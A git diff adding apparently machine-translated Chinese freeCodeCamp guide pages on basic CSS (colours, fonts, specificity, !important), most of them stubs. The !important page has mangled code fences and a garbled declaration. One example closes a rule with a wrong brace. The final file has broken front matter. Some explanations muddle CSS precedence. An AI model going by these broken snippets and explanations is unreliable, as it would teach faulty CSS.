diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md
new file mode 100644
index 0000000000..eab062e75b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md
@@ -0,0 +1,47 @@
+---
+title: Give a Background Color to a div Element
+localeTitle: 为div元素提供背景颜色
+---
+## 为div元素提供背景颜色
+
+您可以通过两种方式之一将`background` `color`更改为`div`元素（或部分）。
+
+**第一种方法：**
+
+在样式括号中创建一个`class` 。
+
+```html
+
+<style> 
+ .blue-background { 
+    background-color: blue; 
+  } 
+ </style> 
+```
+
+然后，您可以将该`class`添加到`div`元素：
+
+```html
+
+<div class="blue-background"> 
+  <p> Example </p> 
+ </div> 
+```
+
+**第二种方法：**
+
+不用创建的`class`像在第一种方法，你可以创建一个`div`元素`class`的风格括号内。
+
+每个`div`元素都将包含您创建和分配的`class` 。
+
+（这意味着它是您创建的每个`div`元素的重复`class` 。）
+
+```html
+
+<style> 
+  div { 
+    background-color: blue; 
+  } 
+ </style> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/import-a-google-font/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/import-a-google-font/index.md
new file mode 100644
index 0000000000..69f9092539
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/import-a-google-font/index.md
@@ -0,0 +1,58 @@
+---
+title: Import a Google Font
+localeTitle: 导入Google字体
+---
+## 导入Google字体
+
+### 解
+
+```html
+
+<link href="https://fonts.googleapis.com/css?family=Lobster" rel="stylesheet" type="text/css"> 
+ 
+ <style> 
+  .red-text { 
+    color: red; 
+  } 
+  h2 { 
+    font-family: Lobster; 
+  } 
+  p { 
+    font-size: 16px; 
+    font-family: monospace; 
+  } 
+ </style> 
+ 
+ <h2 class="red-text">CatPhotoApp</h2> 
+ <main> 
+  <p class="red-text">Click here to view more <a href="#">cat photos</a>.</p> 
+ 
+  <a href="#"><img src="https://bit.ly/fcc-relaxing-cat" alt="A cute orange cat lying on its back."></a> 
+ 
+  <div> 
+    <p>Things cats love:</p> 
+    <ul> 
+      <li>cat nip</li> 
+      <li>laser pointers</li> 
+      <li>lasagna</li> 
+    </ul> 
+    <p>Top 3 things cats hate:</p> 
+    <ol> 
+      <li>flea treatment</li> 
+      <li>thunder</li> 
+      <li>other cats</li> 
+    </ol> 
+  </div> 
+ 
+  <form action="/submit-cat-photo"> 
+    <label><input type="radio" name="indoor-outdoor" checked> Indoor</label> 
+    <label><input type="radio" name="indoor-outdoor"> Outdoor</label><br> 
+    <label><input type="checkbox" name="personality" checked> Loving</label> 
+    <label><input type="checkbox" name="personality"> Lazy</label> 
+    <label><input type="checkbox" name="personality"> Energetic</label><br> 
+    <input type="text" placeholder="cat photo URL" required> 
+    <button type="submit">Submit</button> 
+  </form> 
+ </main> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/index.md
new file mode 100644
index 0000000000..3bfc2e24fd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic CSS
+localeTitle: 基本CSS
+---
+## 基本CSS
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md
new file mode 100644
index 0000000000..67ee617e36
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Inherit Styles from the Body Element
+localeTitle: 从Body元素继承样式
+---
+## 从Body元素继承样式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/inherit-styles-from-the-body-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md
new file mode 100644
index 0000000000..35384fd23f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Circular Images with a border-radius
+localeTitle: 使用border-radius制作圆形图像
+---
+## 使用border-radius制作圆形图像
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/make-circular-images-with-a-border-radius/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md
new file mode 100644
index 0000000000..88da4bf633
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-all-other-styles-by-using-important/index.md
@@ -0,0 +1,34 @@
+---
+title: Override All Other Styles by using Important
+localeTitle: 使用重要覆盖所有其他样式
+---
+## 使用重要覆盖所有其他样式
+
+您可以使用`!important`覆盖CSS中的所有其他样式。
+
+此覆盖被认为是最重要的，并且优先于其余部分。
+
+最重要和最不重要的列表如下： \`\`\`
+
+1.  重要的（重要的）
+2.  内联样式
+3.  id声明
+4.  类声明
+```
+Here is an example of how to write/apply !important: 
+```
+
+CSS 颜色：黑色！重要;
+```
+To apply these in context and see `!important` take precedence, here is an example: 
+```
+
+HTML
+
+body { font-family: Helvetica; color: purple; } #violet-text { color: violet; } .black-text { color: black !important; } .blue-text { color: blue; }
+
+# 示例文本
+
+\`\`\`
+
+此结果将以`Example Text`为黑色结束，因为`!important`添加到`color: black` 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md
new file mode 100644
index 0000000000..2e54253cce
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-class-declarations-by-styling-id-attributes/index.md
@@ -0,0 +1,69 @@
+---
+title: Override Class Declarations by Styling ID Attributes
+localeTitle: 通过样式ID属性覆盖类声明
+---
+## 通过样式ID属性覆盖类声明
+
+为了理解CSS中的覆盖，首先必须了解CSS中的优先原则。
+
+要记住的关键规则是从底部到顶部读取CSS。
+
+一个例子是：
+
+```html
+
+<style> 
+  body { 
+    background-color: black; 
+    font-family: Arial; 
+    color: black; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  } 
+ </style> 
+ <h1 class="red-text blue-text">Example</h1> 
+```
+
+在上面的示例中，文本`Example`将为蓝色，因为最后添加的类是`blue-text` 。
+
+**记住`id`属性优先于类，这意味着它排名最高是关键。**
+
+您可以通过在类的名称前面添加`#`来创建`id`属性，如下所示：
+
+```html
+
+<style> 
+  #purple-text { 
+    color: purple; 
+  } 
+ </style> 
+```
+
+下面是一个示例，向您展示如何**通过样式ID属性覆盖类声明** ：
+
+```html
+
+<style> 
+  body { 
+    background-color: black; 
+    font-family: Arial; 
+    color: black; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  } 
+  #green-color { 
+    color: green; 
+  } 
+ </style> 
+ <h1 id="green-color" class="red-text blue-text">Example</h1> 
+```
+
+这将使文本`Example`为绿色，因为`id`属性将始终优先于`class`声明。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md
new file mode 100644
index 0000000000..5ce0359fc7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md
@@ -0,0 +1,9 @@
+---
+title: Override Class Declarations with Inline Styles
+localeTitle: 使用内联样式覆盖类声明
+---
+## 使用内联样式覆盖类声明
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md
new file mode 100644
index 0000000000..1aea8d7203
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md
@@ -0,0 +1,66 @@
+---
+title: Override Styles in Subsequent CSS
+localeTitle: 覆盖后续CSS中的样式
+---
+## 覆盖后续CSS中的样式
+
+想要在后续CSS中覆盖样式时要记住的最重要的一点是创建类的顺序。
+
+最后更新的样式将优先于先前编写的类。
+
+例如：
+
+```html
+
+<style> 
+  body { 
+    color: purple; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  { 
+ </style> 
+```
+
+现在，当您创建在任何文本`body` ，它将具有文本颜色`purple`分配给它。
+
+要开始尝试覆盖过程，您现在可以添加`"red-text"`类来查看结果。
+
+使用上面的格式，下面的文本将覆盖以前的`purple`字体颜色与`red` 。
+
+```html
+
+<h1 class="red-text">Example</h1> 
+```
+
+如果要添加多个类，可以使用以下格式：
+
+```html
+
+<h1 class="class-name1 class-name2 class-name3">Example</h1> 
+```
+
+您现在可以将上面创建的最后一个类（ `"blue-text"` ）添加到上面的相同示例中以查看结果。
+
+```html
+
+<h1 class="red-text blue-text">Example</h1> 
+```
+
+这将自动选择在样式部分中创建的最后一个类，在本例中为`"blue-text"` 。
+
+即使您在第二类`blue-text` `red-text`后面应用第一类`red-text` `blue-text` ，覆盖过程也将选择最后创建的类。在这种情况下，该类是`blue-text` 。
+
+所以，例如：
+
+```html
+
+<h1 class="blue-text red-text">Example</h1> 
+```
+
+由于样式部分的排序，这仍然会显示`blue`字体颜色。
+
+最后创建了`blue-text`类，底部是`</style>` 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md
new file mode 100644
index 0000000000..d0f0d19775
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md
@@ -0,0 +1,9 @@
+---
+title: Prioritize One Style Over Another
+localeTitle: 将一种风格优先于另一种风格
+---
+## 将一种风格优先于另一种风格
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md
new file mode 100644
index 0000000000..a3d2900253
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the Font Family of an Element
+localeTitle: 设置元素的字体系列
+---
+## 设置元素的字体系列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md
new file mode 100644
index 0000000000..bff4e682e3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the id of an Element
+localeTitle: 设置元素的id
+---
+## 设置元素的id
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/size-your-images/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/size-your-images/index.md
new file mode 100644
index 0000000000..9c14bcce0a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/size-your-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Size Your Images
+localeTitle: 调整图像大小
+---
+## 调整图像大小
+
+要调整图像大小，请先在样式标记中创建类。
+
+一个例子： `<style> .fixed-image { width: 500px; height: auto; }`
+
+然后，您可以将该类添加到图像中： `<img class="fixed-image" src="http://www.example.com/picture"/>`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md
new file mode 100644
index 0000000000..4be37d4592
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md
@@ -0,0 +1,9 @@
+---
+title: Specify How Fonts Should Degrade
+localeTitle: 指定字体应如何降级
+---
+## 指定字体应如何降级
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md
new file mode 100644
index 0000000000..094650d707
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Style Multiple Elements with a CSS Class
+localeTitle: 使用CSS类设置多个元素的样式
+---
+## 使用CSS类设置多个元素的样式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md
new file mode 100644
index 0000000000..0a7871a6fa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Style the HTML Body Element
+localeTitle: 设置HTML Body Element的样式
+---
+## 设置HTML Body Element的样式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md
new file mode 100644
index 0000000000..4bf592dcf3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand Absolute versus Relative Units
+localeTitle: 了解绝对与相对单位
+---
+## 了解绝对与相对单位
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md
new file mode 100644
index 0000000000..eefa5794af
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a CSS Class to Style an Element
+localeTitle: 使用CSS类来设置元素的样式
+---
+## 使用CSS类来设置元素的样式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md
new file mode 100644
index 0000000000..fb3bf8d519
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a custom CSS Variable
+localeTitle: 使用自定义CSS变量
+---
+## 使用自定义CSS变量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md
new file mode 100644
index 0000000000..93c345a49c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a media query to change a variable
+localeTitle: 使用媒体查询更改变量
+---
+## 使用媒体查询更改变量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md
new file mode 100644
index 0000000000..880a904531
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Abbreviated Hex Code
+localeTitle: 使用缩写的十六进制代码
+---
+## 使用缩写的十六进制代码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md
new file mode 100644
index 0000000000..e04ebeba25
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use an id Attribute to Style an Element
+localeTitle: 使用id属性为元素设置样式
+---
+## 使用id属性为元素设置样式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md
new file mode 100644
index 0000000000..c3f02fe470
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Attribute Selectors to Style Elements
+localeTitle: 使用属性选择器来设置样式元素
+---
+## 使用属性选择器来设置样式元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md
new file mode 100644
index 0000000000..4165b3a000
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Clockwise Notation to Specify the Margin of an Element
+localeTitle: 使用顺时针符号指定元素的边距
+---
+## 使用顺时针符号指定元素的边距
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md
new file mode 100644
index 0000000000..4c10eb8827
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Clockwise Notation to Specify the Padding of an Element
+localeTitle: 使用顺时针符号指定元素的填充
+---
+## 使用顺时针符号指定元素的填充
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md
new file mode 100644
index 0000000000..0e04b2a8bc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Selectors to Style Elements
+localeTitle: 使用CSS选择器设置样式元素
+---
+## 使用CSS选择器设置样式元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md
new file mode 100644
index 0000000000..94507be888
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Variables to change several elements at once
+localeTitle: 使用CSS变量一次更改多个元素
+---
+## 使用CSS变量一次更改多个元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md
new file mode 100644
index 0000000000..f581802438
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Hex Code for Specific Colors
+localeTitle: 使用Hex代码表示特定颜色
+---
+## 使用Hex代码表示特定颜色
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md
new file mode 100644
index 0000000000..a8214482e9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Hex Code to Mix Colors
+localeTitle: 使用十六进制代码混合颜色
+---
+## 使用十六进制代码混合颜色
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md
new file mode 100644
index 0000000000..a775462982
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use RGB to Mix Colors
+localeTitle: 使用RGB混合颜色
+---
+## 使用RGB混合颜色
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md
new file mode 100644
index 0000000000..3bf50db720
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use RGB values to Color Elements
+localeTitle: 将RGB值用于颜色元素
+---
+## 将RGB值用于颜色元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md
new file mode 100644
index 0000000000..66274ea8c8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md
@@ -0,0 +1,18 @@
+title: Add a Submit Button to a Form	
+localeTitle: undefined
+---	## 向表单添加提交按钮
+
